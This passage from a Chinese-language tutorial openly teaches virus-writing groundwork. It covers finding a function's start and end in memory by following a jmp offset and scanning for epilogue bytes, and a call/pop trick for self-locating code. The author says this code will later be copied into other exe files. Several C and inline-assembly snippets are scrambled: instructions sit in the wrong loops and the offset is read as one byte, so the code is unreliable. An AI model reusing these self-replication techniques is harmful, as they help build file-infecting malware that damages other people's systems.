XXXXXXXX—一个32位的偏移。要跳转的目标地址是由本jmp指令的下一条指令的地址加上
这个32位偏移得到的,也就是用本jmp指令的地址加上5个字节(E9 XXXXXXXX共占五个
字节)得到下一条指令的地址,再加上那个偏移就得到了函数的实际入口地址。核心代码如
下(摘自源程序ReadFun) :
//临时的指针变量
PBYTE pMove = NULL;
//首先指向函数的jmp指令,code为函数名
pMove = (PBYTE)code;
//向后移动一个字节,定位到jmp后面的偏移处
pMove ++;
//把偏移赋值给变量,dwJmpOff为记录偏移值的32位的变量
dwJmpOff = (DWORD)(*pMove);
//得到函数真正的入口地址
dwFunBegAddr = (DWORD)code + 5 + dwJmpOff;
下一步是通过搜索代码得到函数的结束地址,代码的结束标志上面已经说过了,搜
索代码如下:
while (!((*(pMove + 1) == 0xc3) && (*pMove == 0x5D) && (*(pMove - 1) ==
0xE5)))
{
pMove ++;
}
//因为要进行病毒代码复制时没有必要复制ret指令
//所以循环结束时pMove指向ret的前一条指令,把这个地址作为函数结束地址
dwFunEndAddr = (DWORD)pMove;
//首先把函数的入口地址赋给变量
pMove = (PBYTE)dwFunBegAddr;
//向后搜索,直到结尾标志
//为了程序的健壮性可以多加几个测试标志
有了函数的开始地址和结束地址,得到代码长度就很容易了,详见源代码。
函数内部动态获取本函数起始地址
本节中用到的代码为附件中的ReadFun工程的code函数。
这段代码其实是未来的病毒代码,病毒要进行自我复制时必须要知道自己在内存中的起
始地址与结束地址。不仅如此,因为病毒要在不同的exe文件中运行,其运行地址并不固定,
所以病毒还必须有动态获得自身代码地址的能力。获得开始地址的代码如下:
//临时的指针变量
PBYTE pMove = NULL;
//动态获取自己写的代码的开始地址
_asm
{
//1.call A 把标号A的运行时地址(也是pop eax的地址)压入栈中
// 注意因为call在编译时被编译为相对地址的调用
// 所以得到的是运行时地址,不是绝对地址
call A
A:
//2.pop eax,把刚压入栈中的地址弹出放在寄存器eax中
// 这个地址就是pop eax运行时的地址
pop eax
}
pMove --;
//向前搜索得到函数的真正入口地址
while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B)))
{
//3.把这个地址放在变量dwMyCodeAddr中
// 注意:因为编译器要对函数添加一些多余的代码
// 所以这个地址并不是函数的开始地址
mov dwMyCodeAddr , eax
}
//此时dwMyCodeAddr中保存的地址与函数的实际开始地址还有一段距离
//接下来向低地址搜索函数开始标志,得到真正的入口地址
//把地址赋给变量
pMove = (PBYTE)dwMyCodeAddr;
dwCodeBegin = (DWORD)pMove;
//此时pMove指向函数的入口pus
下一步是获取函数的结束地址,用到的方法与主函数中的方法一样,这里就不列出代码
了,详细代码见源文件。
到此为止技术基本已经介绍完了。文章不长,源代码也区区一百多行,但这个技术却是
理解病毒的关键所在。在后续文章中笔者会逐渐介绍在exe文件中添加代码,动态获取AP
入口地址,自我复制等技术。
|